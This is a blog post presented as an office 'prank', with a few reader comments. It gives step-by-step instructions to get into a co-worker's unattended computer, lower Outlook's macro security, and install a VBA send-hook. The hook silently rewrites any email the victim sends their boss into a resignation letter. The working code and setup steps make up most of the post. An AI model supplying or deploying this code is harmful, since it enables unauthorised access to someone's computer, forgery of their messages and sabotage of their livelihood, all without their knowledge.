Resignation Letter Prank
- Filed under: Computer Pranks
- Date: Feb 25,2009
***Use of any and all of these pranks is at your own risk. Don’t be stupid.***
Do you have a co-worker you wish would just quit? Well now they will quit and not even realize it. This computer prank will modify emails sent (out of outlook) to the victims boss with a resignation letter. All you have to do is add the code below to Outlook and you’re good to go. Follow the steps below:
- Gain access to the victim’s computer. This prank will take a minute at most if you have the code ready. Wait for them to go to lunch or the bathroom and you should be safe.
- Open Outlook
- Change macro security settings to LOW.

- Click Tools in the top menu
- Click Macro
- Click Security
- Select Low
- Hit OK
- Press Alt + F11 (This will open vba editor)
- Select ThisOutlookSession in the project window

- Copy and paste the below code into the editor
Edit the information to match theirs. I.e. Your Name and ABCD Company- Change
(If Item.To = "Boss Email") to their bosses real name. It should be in proper case. - Press Ctrl + S (Save)
- Close out the vba editor
- DONE!
Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
Dim m As Variant
Dim strBody As String
On Error GoTo ErrorHandler
If Item.To = "Boss Email" Then
Item.Subject = "My Resignation"
Item.Body = "Please accept this letter as notification that" & _
"I am resigning from my position with ABCD Company today." & _
"I apologize for not being able to provide two weeks notice." & _
"However, I regret that, due to circumstances beyond my control, I need to resign immediately." & _
"Please forward my last paycheck to my home address." & vbCrLf & _
"Thank you for the support that you have provided me during my tenure with the company." & vbCrLf & _
"Sincerely," & vbCrLf & vbCrLf & _
"Your Name"
If m = vbNo Then
Cancel = True
GoTo ExitSub
End If
End If
'
ExitSub:
Set Item = Nothing
strBody = ""
Exit Sub
'
ErrorHandler:
MsgBox "Send Checker" & vbCrLf & vbCrLf _
& "Error Code: " & Err.Number & vbCrLf & Err.Description
Err.Clear
GoTo ExitSub
End Sub
Now all you have to do is, wait for them to send an email to their boss. No matter what they send to their boss it will be replaced with the resignation.
You can test the email by having the bosses email sent to you. If everything works simply change the email to bosses email and follow the directions above.
College scholarships

3 Responses for "Resignation Letter Prank"
If m = vbNo
where is m set?
Great way to get fired
I took this code from a Macro I run on personal emails. Checking to see if I’m missing a subject etc. M was just something I forgot to take out for this joke.
sometimes i’m using macros too in my personal gmail email, but these features i didn’t mention before.
Leave a comment